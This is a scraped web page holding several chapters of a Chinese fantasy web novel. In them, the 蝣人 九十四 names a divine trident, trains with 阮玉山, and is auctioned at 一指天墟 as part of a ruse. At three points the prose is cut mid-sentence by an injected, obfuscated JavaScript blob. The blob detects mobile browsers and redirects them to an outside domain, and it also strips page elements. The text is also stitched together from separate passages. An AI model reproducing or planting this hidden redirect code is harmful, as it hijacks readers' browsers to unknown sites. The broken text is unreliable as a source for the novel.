九十四一旦陷入沉思,就会呈现出一种诡异的静默。浑然一个白玉雕塑一般立在阮玉山跟前,垂目不语,神色木然。 只有阮玉山知道那双木然的眼睛后方藏着一个怎样活络机敏的脑子,脑子里又跑着多少天马行空的想法。 他无意把人步步紧逼,因此当九十四一旦进入宕然的思绪时,他便会审时度势地把人拉回来。 “欸,”他又拍拍九十四,指指地上那把三尖戟,“它很不服气。” 刀刃上一道亮光朝阮玉山脸上射过来,好似这三尖戟瞪了他一眼。 阮玉山视若无睹。 九十四就在这儿,他还能怕它不成? 阮玉山总是这样,乐此不疲地试探九十四,乐此不疲地提醒九十四,又乐此不疲地把九十四从陷入混乱的边缘拉回来。 九十四的视线终于又回到三尖戟身上。 射向阮玉山的锐光悄无声息撤回了。 平心而论九十四并不热衷于强人所难,可他也不傻,堂堂一柄镇山神器,难不成真是他随便逮两下便束手就擒的废物? 他把踩在三尖戟上面的脚拿开,蹲下身问道:“你不想认我?” 三尖戟温和地闪烁了两下,朝九十四的脚尖滚了滚,又拿刀柄轻轻压了压他的鞋面。 挨挨又蹭蹭的,显然不是排斥他。 更像在撒娇。 “那就是愿意。”九十四问,“可刚刚又躲什么?” 三尖戟戳碰他鞋尖的动静顿了顿,又懒洋洋地朝远离九十四的方向滚了滚。 九十四想了又想,凝视着它:“你是发脾气?嫌我冷落你。” 三尖戟不动了。 九十四认为这三尖戟很不好伺候,而自己也不喜欢整日靠揣度旁人心思度日,那样的日子他在饕餮谷的驯监手下已然过够了。 神器有神器的脾性和傲气,古往今来,举凡和“神佛”一类的词话相关的物事,都不是甘为平庸与人俯首帖耳的命。 即便是教他认字的老头子,没什么学识,也能信手拈来几个类似的民间故事。 九十四理解,但也不想惯着。 故而他起身,背过去,一挥手道:“你走吧!我们不合适。” 只留给地上的三尖戟一个卷发乌浓的冷漠背影。 说完他便要抬脚去找自己昨夜没看完的话本子看。 岂知还没伸出脚去,就听后面的刀头在地上骨碌碌滚着响,九十四侧头睨眼,发现这东西追着自己脚后跟窝窝囊囊地滚过来了。 他置之不理,毫不留情地走向自己昨夜的地铺,哪晓得他走到哪儿,三尖戟就撵到哪儿。 明明是冰冷威严的神器,却好像有一副比阮玉山还厚的脸皮。 九十四蓦地顿住脚,蹙眉呵斥道:“你到底要什么?” 三尖戟开始在原地死皮赖脸地滚来滚去。 阮玉山忍不住笑了一声。 九十四双眉紧蹙的眼睛从神器身上转移到阮玉山身上。 阮玉山忽感不妙。 他轻咳一声,在九十四的怒火转移到自己身上前及时开口道:“阿四,你知道自古以来,神器认主的第一步,是什么?” 九十四:“叫主人?” “非也。”阮玉山耐心解释道,“是取名。阿四,它想要个名字。” 这么一说九十四就理解了。 当初他刚对阮玉山有所改观的第一步,也是想让对方帮忙取个名字来着。 没有名字,他可以是蝣人一号,蝣人二号,蝣人三号……是饕餮谷分批圈养的货物之一,没有独立的人格与灵魂,有了名字,他便有彻底与货物区分开的资本了。 就像三尖戟,没有认主之前,它只是无相观音经受过的成千上万把神器之一,可既然认他做主,那他理应取个名字的。 九十四忽然认为这三尖戟闹别扭闹得也不是没有道理。 阮玉山不给他名字他尚且还想要了阮玉山的命,三尖戟没得到名字也只是在这一亩三分地跟他欲拒还迎一下而已。 九十四态度平缓下来,对脚下的神器问道:“你想要名字?” 三尖戟急促地闪烁了两下。 “想要什么名字?”九十四背着手又开始绕着它转,一边踱步,一边思考。 既然是神器,那就应该要个威武神仪的称号! 九十四停下脚:“天霸?” 三尖戟叮铃铃响了两下,猛烈地快速来回滚动,对此表示着强烈的抗议。 九十四认为这是由于自己吧三尖戟的称号取得太空洞,兴许对方更爱具象些的。 他又想了一个:“大刀?” “… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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待他再要细细看过空中的经文时,满壁浮光骤然消散。 三尖戟回到了他的手里。 这东西拿在手里少说二十斤重,比得上阮玉山十几杆木枪。 九十四单手接着,从左手换到右手,又从右手换到左手,还不大适应。 阮玉山的声音从后方传过来:“怎么了?” 九十四闻言看向阮玉山,方知刚才的情形此人大抵是看不到的。 他拿着破命走过去,将破命定在地上,神器柄尾的金锥与地面发出浑厚的撞击声。 “破命以前有主。”九十四说,“我听见了他的声音。” “哦?”阮玉山心不在焉,只顾着从头到尾细细打量这个收服了神器的九十四,“他说什么了?” 九十四低头沉吟片刻,照着记忆思索道:“他说……奉魂,地出,有命,无克,一千零九。” 阮玉山默默记下,再对九十四解释道:“那不是破命的前主。” 他穿过堂屋到屏风后拿到自己惯用的那柄红缨枪,且行且道:“或者说,那不算是破命的前主——那是创造它的天神,无相观音。” 阮玉山知道九十四对这些神佛鬼怪的传说一向很感兴趣,一边擦枪,一边将这三尖戟连同杀佘关的由来传说事无巨细地将给九十四听。 从过山峰,到山下村中恶民与小县令的斗智斗勇,再到佘家寨的出现,矿山的发掘和自家老太爷与老太太的故事——提到阮家,阮玉山便不免将许多事刻意隐瞒。 不过好在这些事情与蝣族并无关联,加上九十四对故事本身听得津津有味,他便隐瞒得不漏痕迹,到最后,他直接把自家老太爷的骨珠元神在矿洞中托付给他盂兰古卷一事,索性全说完了。 整个故事说长不长,说短不短,难在九十四许多东西从未听过,得要阮玉山挨个解释:比方说什么叫赋税徭役,又比方说各城与天子之间权力交织的关系,再比如说为何一座矿山,许多人都争着想要,发散到矿山中的矿石平日里能起个什么作用,这一说就说到了正午。 九十四捧着饭碗,两个眼珠子彻头彻尾就没离开过阮玉山。 阮玉山在左,他的脑袋就往左偏;阮玉山在右,他的脑袋又朝右看,生怕错过阮玉山说的每一个字,漏掉什么自己没听过的词。 阮玉山给他夹菜,讲两句便要提醒他:“好好吃饭。” 九十四拿着筷子——自打住进四方清正,他便使筷子吃饭了,这对九十四而言并不难,阮玉山怎么拿,他就怎么拿,只是夹菜的动作还不熟练,夹一口饭,能送进嘴里的就五六粒米,又因为急着听阮玉山讲故事,那么一小撮米饭够他嚼个半天。 阮玉山这是明白了,九十四没条件的时候,吃饭就只是个慢,但好歹还知道好好吃;一旦有条件了,不用再为一口饱饭拼命的时候,这人就开始磨磨蹭蹭,干什么都比吃饭有劲。 九十四是既不对做饭感兴趣,也不对吃饭感兴趣。 果腹的吃食,九十四其实从来都是一个对付对付就完事儿的姿态。 他打小在饕餮谷的小蝣人们面前表演不爱吃东西,时间久了,好像真的不爱吃了。 阮玉山原本怕他吃不惯精米精面,特地叫小厨房做了些粗糙的主食,哪晓得一顿饭下来也不见九十四吃多少。 他便问:“有什么想吃的?” 九十四听故事听得正起劲儿,突然被这么一问,急着想听下文,便把心里一闪而过想到的第一样东西说了:“包子。” “包子?”阮玉山一琢磨,便知他的意思,“羊肉包子?” 那是九十四离开饕餮谷后吃到的第一顿好饭。 其实不管那顿是什么饭——包子也好,馒头也好,小二的碗里装着什么递给他,他就对什么终身难忘。 阮玉山还在心里研究去哪儿找个会做羊肉包子的厨子偷偷师,就听九十四问:“县令呢?” “什么?”他一时脑子没转过弯来,“什么县令?” “过山峰下的小县令,拿自己的月俸替百姓填补赋税的那个。”九十四提醒他,“被天子以官匪勾结的罪名下了大狱后,放出来了么?” 阮玉山说:“自然是死了。” 九十四怔了怔。 “阿四,这并非话本故事。”阮玉山放下碗筷道,“真正的世间,从来不是好人就有好报。” 53.回笼 半个月后,易三老爷的一指天墟开张了。 说是一指天墟,不过一个雅称,实则是个唱卖场所,同齐且柔那间密室后方金雕玉砌的大楼一个性质,但规模远胜于齐且柔的地盘。 阮玉山所承接的,无论是顾客还是唱卖的物件,来路都比齐且柔宽泛。 能让齐且柔从他牙缝里撕下点肉来赚钱的只有一个空子——一指天墟不做蝣人买卖。 而蝣人是黑市里最值钱的行货,买卖的利润非同小可,足够养活齐且柔的一整个唱卖行。 所谓唱卖,就是让人竞价买货的意思。 东西拿出来,先吆喝展示一圈,对货物中意的主顾就打发身边的小厮喊价,谁出的价高,最终货物就归谁。 一指天墟,取一个“纸”的谐音,易三老爷觉得“一纸”听起来太过薄命,不吉利,毕竟做生意讲究的是个长久,便把第二个字换成了“指”。 至于为什么取这个“纸”字,那还是跟店里边的经营有关系。 比方说今晚。 一指天墟做了那么多年唱卖生意,第一次提前三天放出消息——今夜的唱卖行,要走大货。 燕辞洲黑市通晓的大货,就是蝣人、军火、和朝廷垄断的药材这三样,大部分出手的人手中货物来路不明,急着脱手,加上这三样利润丰厚,在市面上相当抢手,久而久之便被抬级为大货。 军火和药材就不说了,世道越乱,这两样东西就越值钱。至于蝣人,那是娑婆一个特殊的存在。 只拿大祈举例,蝣人买卖,朝廷虽没明文规定,可这生意,几乎是被饕餮谷垄断了。 除了谷中自己繁殖圈养的蝣人外,举凡是在大祈境内被发现和捕捉到的野外蝣人,捕猎者也要按各州律法统统上交到州府,再由州府向朝廷申请批文,最后的结果都是统一送往饕餮谷进行豢养。 一旦发现私藏或是自行交易者,杀无赦。 这不是摆明了整个国境从上到下都默认只有饕餮谷能做蝣人生意? 究其原因还是那句话,蝣人买卖的油水太大,饕餮谷垄断,那便是朝廷垄断。朝廷支持饕餮谷,是因为谷主挣的钱最后也得上供给天子。 为什么饕餮谷对每个卖出去的蝣人都要想方设法打上烙印,甚至面对阮氏这样的大主顾,恨不得一路护送回府,正是由于一只蝣人从售卖出手到最后拿给主顾享用的途中面临的风险太大,一路都是虎视眈眈的黑手贩子企图下手偷盗抢夺,再把抢来的蝣人卖去黑市。 人为财死,鸟为食亡。此举风险虽大,利益也高。 蝣人这样的大货,进了黑市,价格只会比饕餮谷更翻一番。 再往上,那些“顶货”,便同神佛怪力有关了——九十四一把破命,谢九楼一副龙吟箭,这些宝贝拿到市面,那就是顶货中的顶货,自来是有价无市,几十上百年也难在黑市出现一个。 今儿入冬,为了搏个开门红,易三老爷早几日放出风声来:这次的大货,是个蝣人。 这就不得了了。 要是一般或者普通上品的蝣人,能让易三老爷动心,给一指天墟开先河? 那得是蝣人中的蝣人,上品中的上品才行。 是以几天时间,但凡是混迹黑市的,全都里三层外三层把这档子事儿倒腾了个遍,硬是没一个人倒腾出易三老爷要卖的那个蝣人是多少底价,什么模样,此时又被关在何处。 大家伙琢磨来琢磨去,还是只琢磨出易三老爷放的那一口风,就是今晚要卖蝣人。 那个蝣人此时正关在易三老爷的床上。 阮玉山坐靠在床头,九十四枕在他腰上睡得正香。 自打那晚过后,这床就被九十四划成了自己的地盘,还是阮玉山后来据理力争,才得到跟他一人一半平分枕席的资格。 最开始睡的那两天阮玉山是操碎了心。 九十四一睡着就跟个熟虾似的蜷到床角上,两只手也是死死扒拉床杆不松开。 还是阮玉山调教了好几天,才让这人勉勉强强学会了平躺睡觉。 不过阮玉山看得出来,九十四愿意平躺睡,那完全不是被他调教会的,那是被他摆弄烦的。 头两天九十四一睡着,阮玉山就展平了他的胳膊腿要摆直,一次两次就算了,九十四数不清第几次被阮玉山扒拉醒的时候,差点就一脚给人蹬下床去。 脚还没蓄力,阮玉山就凑到他耳边说:“好端端的人,睡在床上哪有你这样?又不是锅里的虾。日后把你族人救出来了,让他们个个学你的样子睡?” 九十四一对长眉压得低低地瞪着阮玉山,两颗蔚蓝色的眼珠子一半是怒意一半是困意。 最后他没吭声,也没把人踹下床,只是一个翻身,又抓着床杆蜷起来睡了。 阮玉山不怕死地继续伸手去扒拉,非要他睡得舒展才像话。 九十四懒得管了,阮玉山把他摆成什么样就睡什么样,反正后半夜自己再蜷回去会有阮玉山伸手过来把他摆好。 如此数日,九十四憋着一口想发不能发的脾气学会了好好睡觉。 只是手还会从阮玉山看不见的地方伸出被子去抓栏杆。 “欸。”此时阮玉山任他枕在自己坚硬的腰腹上,用手指缠着九十四的卷发丝儿玩弄,“这还没下雪,怎么你就冬眠了?” 九十四困得睁不开眼睛,含糊嘀咕了两句蝣语,懒洋洋翻了个身,表示不想听阮玉山说话,下一刻,被阮玉山扒回来,自个儿又软绵绵地接着睡了。 阮玉山算是发现了,九十四是真爱睡觉。 成天除了吃饭、看书、从他那偷师、再把从他那儿偷师的招式拿来打他以外,满脑子就是睡觉,入了冬尤甚。 整天跟个霜打的茄子似的,就支楞看书和练功那会儿。 书一看完,沾枕头就睡。像是要把前边十八年没睡够的觉全在阮玉山这儿补回来。 原本阮玉山对此很是不满,但是自己私下来一想,这蝣人到了冬天就是得睡觉的。 蝣人不比寻常人,普通人冷了能加衣,饿了能进补,冬天大寒的节气,冷风一吹,大雪一下,蝣人除了睡觉没别的补充体力的办法。 不仅要睡,还得睡得比往常更多更久,否则身体经不起亏损,只会一年比一年差。 饕餮谷大抵也明白这个道理,因此会在严寒时延长他们的休息时间。 冬天是蝣人买卖最旺盛的季节,太多达官显贵或者高阶修行者需要在冬天进补一些蝣人来暖身或是练功,在冬天把蝣人养好些,也更好卖出去,谈个好价格。 不过饕餮谷的仁慈仅限于让他们多睡一个时辰的觉。 蝣人的生存条件顶多从天还没亮便要苏醒变成天蒙蒙亮就要起来,添衣加饭那是想都别想。 九十四冬眠的习惯在饕餮谷养了十八年,朝夕之间也改不了。 如此,阮玉山又劝着自己想通了。 未几,外头传来云岫的声音:“老爷,东西到了。” 话音一落,九十四睁开眼。 不等阮玉山催,他便利落地从床上起来,踩着被褥轻脚下了床,落地时听不到一点声音。 走了两步,九十四忽觉着后背一凉,暗暗打了一个激灵。 他脊骨僵硬地顿脚,沉思片刻,回头,一脸平静地在阮玉山幽幽的视线下行云流水地穿鞋。 再头也不回地甩着袖子潇潇洒洒走出去。 开门便见着一个半人高的笼子,笼子上还有血色的斑驳痕迹,不知是经年未洗去的血迹,还是陈铁借着上头的血液生出的铁锈。 云岫身后还有两个小厮,每人奉一托盘,分别盛着三十斤重的手脚镣铐。 今日万里无云,天气晴朗,风虽刮得大,却仍是个阳光和煦的好天气。 九十四打直了身子站在四方清正刺目温暖的阳光下,看着面前这个血迹斑驳的铁笼子,冥思般地猜想着这里头曾经关过他的哪一位族人,自己能否凭血迹把人认出来。 他一动不动盯着托盘里数十斤的铁链和镣铐,猛然想起自己离开饕餮谷不过一月,笼子里的生活却好像已经故去许久了。 阮玉山不知不觉出现在他身后,温暖宽大的手掌贴上他的脊背,缓慢地游走抚摸着:“早说过了,不想进去,云岫替你——看台离得远,没人会发现。” 九十四摇了摇头,走到那两个小厮面前依次结果托盘道了谢,再拿起脚镣套到自己两个脚腕,咔哒一声扣住。 扣完脚拷,他又去扣手铐,偶然瞧见手铐内侧还有一块干涸的血迹。 他拿到自己鼻下闻了闻,不知是不是这血迹斑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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同时道:“他们那边的黑市这两年在暗里做大,笼络各个朝廷,这也罢了,无非是看天下局势动荡,想当个墙头草,审时度势地找人投靠。可最近买卖伸手到我这边来了,敢抢我的军火。再不敲打敲打,赶明儿我也得跟他齐且柔姓。我得让他们知道,有些生意,他们能做,是我让他们做;我要是不想,燕辞洲地缝里扫出一粒铜板都得是我阮玉山的。” 九十四沉默了片刻,忽问:“阮玉山,你原本是哪里的?” 阮玉山装听不懂:“什么?” “你是哪里来的?”九十四以为他没听清,又重复了一遍。 “娘胎里来的。”阮玉山绕着圈地跟九十四打太极,狠下心随便抓了抓九十四的头发,给人头上弄了些灰,勉强看得过去,便道,“好了,你进笼子试试。” 九十四瞥了他一眼,不再追问,刚要弯腰进笼子,就听阮玉山说:“这次我陪不了你了——云岫会暗中跟着,他轻功好,你放心。” “为什么?”九十四动作一顿,转头问道。 阮玉山轻笑一声:“不管齐且柔是谁,我同他打过照面,都会叫云岫跟着你——那你猜,他会不会派人跟着我?” “你的意思是,你要回宅子待着?” “不。”阮玉山说,“齐且柔手下有高阶玄者,云岫届时会被他们拖住,你无人暗中照料,我放心不下。所以我会先回宅子,摆脱了齐且柔的眼线,再同那罗迦一起从暗门出来寻你。在我赶来之前,你护好自己。” 九十四低眼:“不能直接……” “当然可以。”阮玉山知道他想问什么,“齐且柔的眼线玄境再高也不够我打,可是解决他们太浪费时间了,阿四。我得早些来找你。” 九十四扶着笼子的门,垂着眼睫静默半晌,回头朝房门内看了一眼。 他蓦地转身回到屋子,径直走向屏风后的木架,取下上面悬挂着的一条朱红锦带——那是之前阮玉山在村子里为了给他包扎伤口裁下的一截披风,九十四当初一直缠在手腕上,后来到了四方清正,他洗澡时一并洗了,这些天一直晾在架子上。 九十四解开阮玉山原本为自己缠在后背的发带,将自己散落的头发学着阮玉山为他束发的模样胡乱扎了一半,再拿这条朱红锦带绑起来系在脑后,就当阮玉山陪他了。 他潦草地绑好锦带,生疏的手法倒是让他的头发比片刻前看起来更乱了些。 接着他走回笼子前,脱了鞋,弯下腰,赤脚踩进冰冷的笼中,端正坐好道:“走吧。” 54.纪慈 九十四第十二次举起胳膊摸向脑后的发带时,他停住了动作。 一指天墟到了。 易三老爷在燕辞洲没有露过面,阮玉山出入易宅从不走正门,宅子中数条暗道分别通达易家的钱庄、唱卖场、货仓、酒楼甚至码头。 九十四的笼子亦是从暗道送出,径直抵达一指天墟的暗室。 进了暗道,便有卖场的人在前方接应。 阮玉山疑心重,平日易宅里伺候的人数量不多,却全是阮府自家园子里带出来的心腹,出了宅子,哪怕是自家卖场的人,他也并不完全放心。因此才会让九十四从四方清正出发时便钻入笼子,让整个卖场从里到外都以为九十四真的是货物。 掩盖着整个笼子的巨大帷幔被掀开,九十四下意识摸了摸靴筒里阮玉山为他藏的匕首。 这匕首他已使了半个月。 阮玉山不教他枪法,理由是枪这个东西,九十四到了卖场也不能随身携带——总不能易三老爷卖蝣人,还允许这个蝣人随手拿杆子枪,顺带把蝣人送给齐且柔的时候,让蝣人也把枪带走。 这跟直接对齐且柔说“我们两个打埋伏杀你来了”有什么区别? 要使,就得使点便宜又方便隐藏,不容易叫齐且柔察觉的。 一是暗器,二就是匕首了。 暗器这东西对九十四而言不好上手,动作间讲究一个轻、快——最重要的是得熟练。 云岫是使暗器的高手,但那是人家从四岁就练起的功夫。 九十四唯一会使的暗器是石子儿,最大的战绩是十五岁那年拿石子儿打下来一只飞过笼子上空的大雁。其他的暗器他一概不知。 如今他只学半个月功夫便要上卖场,被阮玉山送给齐且柔的时候说不定还要给搜一次身,只有能藏在靴筒隔层中的匕首最适合九十四这半个月拿来练手。 九十四就这么在阮玉山的说服下暂时放弃了学枪,改练短刃。 任何功夫要想学好,都逃不过两个基本:一是内力,二是轻功。 九十四内力充沛,唯一的不足是目前还无法运转自如。 但在轻功上,由于从来没有经受过内家的训练,他完全是个门外汉。 好在他手脚灵活,脑子也灵光,天天跟在阮玉山身后有样学样,阮玉山伸胳膊他绝不蹬腿,阮玉山抬脚他决不弯腰,又有云岫做陪练,半个月下来,虽说不上比得过行家功夫,但乍一看也还算有那么回事儿。 要学轻功,得先会判断旁人使了几分,也就是这功夫要入的第一道门槛——听声辨位。 一个使轻功的人,如果连对手在什么方位都不知道,又怎么闪躲和进攻呢? 九十四光学这一样就学了三天。 起先只有阮玉山一个人陪他练,九十四拿带子蒙住眼睛,阮玉山放轻步子,从各个方位出其不意地出招,碰到九十四就算赢。 第一天下来,九十四被摸了个遍,没一次赢过阮玉山。 九十四表面波澜不惊,夜里回房,拿出被子开始重新打地铺。 阮玉山靠在门框笑他,说他输不起。 九十四回之以皮笑肉不笑:“你输得起,那我打地铺,你急什么?” 阮玉山一声不吭了。 随后老大爷似的背着手左看看右看看地走到地铺边,一个不经意回身,伸出胳膊把九十四扛回床上。 九十四不做挣扎,只是没枕枕头。 他把枕头放在自己和阮玉山之间隔出个楚河汉界睡了一晚。 第二天阮玉山双手抱拳给他赔罪:好啦好啦,本老爷也是第一次教人功夫,没懂个循序渐进,今天一定好好教你,阿四莫要生气。 九十四信他个屁。 等正儿八经开始练功了,九十四拿着绑带把两个眼睛一蒙,才发觉今日阮玉山当真用起心来教他了。 阮玉山的步子仍是很轻,轻到九十四最终听不出他落定在自己周围哪一个位置,但出招时的动作却有在刻意放缓加重,如此,九十四只要屏息辨别风向,就能预判阮玉山的落点。 这一天,两个人胜负四六开。 阮玉山胜六,九十四胜四。 九十四晚上把枕头撤了。 第三天,九十四胜六,阮玉山胜四。 九十四午觉会把脑袋枕在阮玉山腰上了。 阮玉山摸着九十四散落在他腰间的头发琢磨:后头还有那么多天要练,这才哪到哪? 得罪人的事儿他可不能做两回。 于是云岫被拉过来做陪练了。 第四天便要开始站桩子。 毕竟身要足够轻,脚得先够稳。 到了这一步,即便阮玉山不得罪人,云岫也是要来陪练的。 九十四总不能成天跟阮玉山一对一过招。 否则到了齐且柔那边,那些人还能允许九十四跟他们挨个挨个打不成?要到动手的时候,势必是一窝蜂一起上。 阮玉山和云岫,两个人拆成四个人用,精力分散开来,大抵便是齐且柔那边四五个高手的实力,正好陪九十四演练演练。 三个人先站三尺高的桩子。 上了桩子,阮玉山便发现九十四在这方面有极强的掌控力。 当年阮玉山练这一套时不满六岁,爹娘还没死,要趁他年纪小体格轻好叫他练轻功,守着他上桩子,阮玉山足足用了三五天才能勉强站稳,小半个月才能单脚固定。 眼下九十四仿佛脚下无根的野猫似的,轻飘飘立在桩子上,不过两天便穿梭在各个落脚点来去自如。 三尺的桩子没难度,便上四尺的。四尺的上完了,又上五尺。 最后阮玉山明白了,九十四完全不怕高,再上几尺都如履平地。 既然站桩容易,那就来到第三步。 阮玉山和云岫开始在桩子上跟九十四过招了。 此时距离一指天墟开张还不到十天。 云岫手上抹了水粉,碰到九十四并且在九十四身上留下痕迹,就算九十四输。 到了阮玉山这儿,却是跟九十四来真的。 拳头劈掌甚至刀子落到九十四身上都是实打实的伤,阮玉山不让云岫动真格,自己倒是把初练轻功的九十四伤得不轻。 他自然是有他的理由。 ——一指天墟要卖蝣人,得先做出一副费尽千辛万苦把九十四给捕进笼子的假象。 可齐且柔到底不是傻子,衣裳头发一通乱抹能暂时把他瞒过去,届时阮玉山把九十四送出手,齐且柔接过一看,发现九十四浑身除了衣裳头发哪里都干干净净滑溜漂亮的,他还能不觉得蹊跷? 九十四身上势必得先做出累累伤痕来。 至于怎么做,那就有阮玉山的门道了。 旁人伤不得——比方说让云岫上手,纵使十六岁的云岫是比同龄的林烟更懂个轻重分寸,然而以九十四的体质,今日在云岫手下受了伤,明日便能好个七八分;若真让云岫下重手呢,一来阮玉山舍不得,二来,还得提防那罗迦和破命对云岫生出敌意。 阮玉山则不存在这些问题。 他在九十四身上留下的伤很有自己的手法,看起来重,实则只是皮肉伤,不触及内脏骨头和根本,留在九十四身上又轻易消不去,但能让人看出慢慢愈合的痕迹。 到了卖场开张时,齐且柔见到伤痕,一眼便能认出这是几日前的伤——九十四的身体一向强健于别的蝣人,阮玉山还记得在目连村时从九十四骨珠里探到的另一股玄气,他打那时起便认为九十四异常的体质并非源于天然,而应该是骨珠中另一股玄气加持的缘故。 九十四的愈合能力在他的牵制下被迫削弱,加上这人半个月来一直都在病中,身体没有好全,伤口恢复的速度算下来倒是和普通蝣人差不多,阮玉山提前十天在九十四身上下手,正好给齐且柔营造出九十四被捕时挣扎无果的假象。 再者,他下手伤了九十四,忌惮于两个人之间的刺青束缚,那罗迦和破命也不敢对他怎么样。 更何况神兽神器与命主心意相通,九十四对云岫没什么太深的感情,对他可是死心塌地——虽然这一点九十四目前还没完全醒悟,但阮玉山已然替对方提前明白了心意并且对此了如指掌。 大概九十四也考虑到要在齐且柔面前掩人耳目这一点,这日练完功下来,他虽一身挂彩,却没对阮玉山摆任何脸色。 只是夜里睡觉翻来覆去睡不着觉。 阮玉山便把九十四拎到自己身上,拿身体给人当垫背:“这下还硌不硌着伤?” 九十四趴在他怀里,不知为何静默了片刻才摇头。 “那就睡我身上。”阮玉山清晰地记得自己在九十四哪些部位留下了伤口,因此抚摸时专挑九十四没受伤的位置拍拍背,“早些睡,赶明儿起来还要练功。” 九十四忽然在他胸前叹了口气:“阮玉山。” “嗯?” “我以前不是这样。” 阮玉山当然知道九十四指的是哪样。 以前在笼子里,哪有受了点伤就翻来覆去硌得疼,还睡不着觉的情况? 以前的九十四——别说九十四,饕餮谷随便哪个蝣人抓出来,就算被打得皮开肉绽,只要被告知能闭眼休息,就算是刀山火海也敢躺下去呼呼大睡。 九十四认为自己被养脆了。 他没认为自己这是被养娇气了。 他不娇气,他能吃苦,什么苦都能吃,甚至一点都不怕回到笼子里。 只是好像身体已经不顺应他的心了。 现在随便受些伤,这副皮囊便四面八方地提醒他有多疼。 这让他想起当年百十八第一次吃他托驯监买来的饴糖,吃过之后,第二天他拿来一只在斗场下捡到的死秃鹫,百十八便怎么都不肯吃。 那时百十八还小,吃过一次甜头还想吃一次饴糖,可当时初上斗场的九十四已没有足够的钱托驯监再买一次。 他捧着空空的钱袋有些自责,百十八隔着笼子看了他半晌,忽然明白了什么,伸手拖走地上的秃鹫,主动拔了毛,将大半的尸身分给他,此后再也没有闹过脾气,九十四给什么就吃什么。 可是九十四知道,若是可以,百十八自然更乐意吃糖,他也更乐意顿顿给百十八买糖。 怕的就是人活一世,总是情非得已。 “以前的日子不会再有了。”阮玉山闭着眼,轻轻拍他的背,“以后的日子总要慢慢习惯。睡不着觉,不该怪自己的身体,而是该去找更好的床和枕头。人要往上走,你的回头路是断头崖——哪有越活越回去的道理?” 九十四想起这一幕时,云岫已将他从笼子里带了出来。 他还想再摸一次脑后的朱红发带,便听见云岫在探身进入笼子将他封口时在耳边小声说了句:“得罪。” 随后便被云岫刻意用粗暴的力道从笼子中拉扯出来,拴在卖台的架子上。 底下的看客席黑压压一片,人头满座。 九十四低低垂着脖子,沉默地扫视着台下的人群,没有看见齐且柔。 一指天墟的阁楼比起当日齐且柔将他骗去的石室后方那处卖场要大上两三倍,九十四缓缓抬头,本意是想看向远处二三层的看台,却在仰起脸露出五官时,听到台下的吸气声和一些起哄与惊叹。 台下的人口音各异,说的并非阮玉山日日教他的官话,九十四只能断断续续听懂一些只言片语,不过是些什么“难怪易三老爷也要卖”“真是好货”“不知花落谁家”的言论。 九十四听着这些不堪入耳的评价,仿佛回到当年在饕餮谷,他和百十八总是被驯监们推着笼子和许多蝣人一起在卖场被摆成数排随那些远道而来的主顾挑选的岁月。 前来采买蝣人的客人们总是很挑剔,对蝣人的身体、品相,甚至牙口都十分重视。 他和百十八总是被一眼挑中。 那些主顾们说着和如今台下的人差不多的话,一遍遍地打发小厮去跟大驯监交涉,然而从来没人能把他和百十八从饕餮谷买走。 九十四知道,谷主不愿意太早地将他们两个卖出去。 他和百十八被摆出来,只是作为一个漂亮的噱头,好让那些对他们无法得手的主顾顺利听从驯监的意见再看看别的跟他们差不多条件的蝣人。 他是谷主用来售卖他族人的工具。 阮玉山在最顶层的阁楼,将这一切尽收眼底。 用回忆过往的痛苦来不断警醒自己保持清醒的方式是很不错,可九十四偶尔太过沉迷此道,这并非好事。 阮玉山轻轻扬起手,对卖台上的云岫示意。 云岫得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15491707|162328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了眼色,快速地打发身后一应小厮鱼贯下台,给每一个看客送去纸笔。 待卖场安静下来,他亲自走到九十四身边,面向外部:“诸位——” 竞价开始了。 一指天墟大货的唱卖与别的场次不同,每位主顾只有一次竞价机会,小厮送来一纸一笔,客人在纸上写下自己愿意付的价钱,写完以后纸笔送回台上,最终卖场会以全场最高价卖出货物。 这便是“一纸天墟”的名字由来。 此法虽薄情,却很容易逼出一些愿意为了自己心仪之物孤注一掷的顾客,错过一次便没有退路的情况下,绝大部分人会直接亮出底牌。 果然,全场出价最高的主顾来自二层看台的“溪字第一号”雅座,价纸上的落款名字叫齐且柔。 阮玉山对台上的云岫点了点头。 云岫亮出阮玉山写了五十四万金的价纸,公布本次竞价最高者是来自三楼“天字第一号”雅座的玉老爷。 没人会疯了一样花五十四万金的价格去购买一个蝣人,齐且柔也不例外——五十四万金,同样的钱在饕餮谷能买到近乎五十个上等品质的蝣人。 众人齐刷刷抬头看向三层天字第一号雅座。 见到的只有层层叠叠放下来将里头光景遮挡得严严实实的锦帘。 云岫卖完这一场便悄然离去,看客席中有些许顾客离场,剩下的大多是继续参与下一场唱卖的客人。 齐且柔在意料之中被云岫请到三楼天字第一号雅座时面色不霁,然而却也不敢对里头的人拿乔,只能拧巴地在嘴角挂着笑,一进去便对里头的人喊道:“易三老爷。” 意思摆明了是知道这一切都是一指天墟在捣鬼。 阮玉山此时戴着面具。 他稳稳坐在屋子里那方紫檀木茶桌边,戴着一副崭新的墨色羊皮手套,披着厚厚的貂皮领披风,明明才刚入冬,他旁边却摆着一个火炉,浑身上下就差一双眼睛没捂住。除了身形过于高大难以改变,整个人的姿态伪装得很有一副弱不禁风的虚弱模样。 